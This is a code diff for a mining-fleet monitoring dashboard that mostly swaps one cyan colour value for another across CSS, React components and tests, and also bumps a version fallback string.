||||
|
||||
it('JoinLaneBadge renders docker lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow:
|
||||
0 4px 18px rgba(0, 0, 0, 0.55),
|
||||
0 0 1px rgba(0, 245, 255, 0.15);
|
||||
0 0 1px rgba(0, 232, 245, 0.15);
|
||||
pointer-events: auto;
|
||||
opacity: var(--deck-ambient-ui-opacity, 0.72);
|
||||
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
|
||||
@@ -22,10 +22,10 @@
|
||||
.global-music-player:hover,
|
||||
.global-music-player:focus-within {
|
||||
opacity: 1;
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
box-shadow:
|
||||
0 6px 22px rgba(0, 0, 0, 0.6),
|
||||
0 0 14px rgba(0, 245, 255, 0.12);
|
||||
0 0 14px rgba(0, 232, 245, 0.12);
|
||||
}
|
||||
|
||||
.global-music-player__play {
|
||||
@@ -35,10 +35,10 @@
|
||||
width: 1.75rem;
|
||||
height: 1.75rem;
|
||||
padding: 0;
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 2px;
|
||||
background: rgba(12, 18, 28, 0.9);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
@@ -49,8 +49,8 @@
|
||||
}
|
||||
|
||||
.global-music-player__play:hover {
|
||||
border-color: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
|
||||
border-color: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 10px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.global-music-player__vol {
|
||||
@@ -83,8 +83,8 @@
|
||||
height: 10px;
|
||||
margin-top: -3.5px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 6px rgba(0, 232, 245, 0.4);
|
||||
}
|
||||
|
||||
.sr-only {
|
||||
|
||||
@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
)}
|
||||
<div className="sidebar-sig font-tech">
|
||||
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
.pool-preset-provider {
|
||||
font-size: 0.75rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
@@ -54,7 +54,7 @@
|
||||
.pool-preset-order {
|
||||
font-size: 0.82rem;
|
||||
padding: 0.5rem 0.65rem;
|
||||
border-left: 3px solid var(--neon-cyan, #0ff);
|
||||
border-left: 3px solid var(--neon-cyan, #00e8f5);
|
||||
background: rgba(0, 40, 50, 0.25);
|
||||
}
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ const TOPOLOGY_NODE_CAP = 200;
|
||||
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
|
||||
const isOnline = agent.status === 'online';
|
||||
const isHashing = agent.hashrate_15m > 0;
|
||||
const color = isOnline ? (isHashing ? '#00f5ff' : '#00aa55') : '#ff4444';
|
||||
const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444';
|
||||
const pulseRef = useRef<THREE.Mesh>(null);
|
||||
const ringRef = useRef<THREE.Mesh>(null);
|
||||
|
||||
@@ -76,7 +76,7 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
||||
|
||||
{/* Laser Pulse simulating hashing packets */}
|
||||
{isOnline && isHashing && !isStale && (
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00ffff" />
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00e8f5" />
|
||||
)}
|
||||
</group>
|
||||
);
|
||||
@@ -106,7 +106,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
}, [displayAgents]);
|
||||
|
||||
return (
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 232, 245, 0.1)' }}>
|
||||
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
|
||||
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
@@ -115,7 +115,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
|
||||
<color attach="background" args={['#050508']} />
|
||||
<ambientLight intensity={0.5} />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00f5ff" />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00e8f5" />
|
||||
<Stars radius={100} depth={50} count={3000} factor={3} saturation={0.5} fade speed={1} />
|
||||
|
||||
{/* Server Node (Mothership) */}
|
||||
|
||||
@@ -43,7 +43,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillStyle = share.accepted ? '#00e8f5' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
|
||||
@@ -29,7 +29,7 @@
|
||||
|
||||
.pipeline-step.pipeline-active {
|
||||
border-color: var(--neon-cyan);
|
||||
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15);
|
||||
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15);
|
||||
}
|
||||
|
||||
.pipeline-icon {
|
||||
@@ -255,7 +255,7 @@
|
||||
|
||||
.roadmap-low .roadmap-priority {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.guide-step-card {
|
||||
@@ -431,16 +431,16 @@
|
||||
font-family: var(--font-tech, monospace);
|
||||
letter-spacing: 0.06em;
|
||||
padding: 0.15rem 0.45rem;
|
||||
background: rgba(0, 245, 255, 0.09);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
background: rgba(0, 232, 245, 0.09);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.guide-code-copy:hover {
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
background: rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
/* Network topology ASCII diagram */
|
||||
@@ -487,7 +487,7 @@
|
||||
|
||||
/* Inline code links */
|
||||
.guide-link {
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
@@ -378,7 +378,7 @@ describe('HashrateChart', () => {
|
||||
data={sample}
|
||||
displayMode="live"
|
||||
title="Fleet Hash"
|
||||
color="#00f5ff"
|
||||
color="#00e8f5"
|
||||
unit="H/s"
|
||||
/>
|
||||
);
|
||||
@@ -571,6 +571,7 @@ describe('FleetToolbar', () => {
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={2}
|
||||
selectedAgents={agents}
|
||||
onBulkAction={onBulk}
|
||||
bulkBusy={false}
|
||||
/>
|
||||
|
||||
Reference in New Issue
Block a user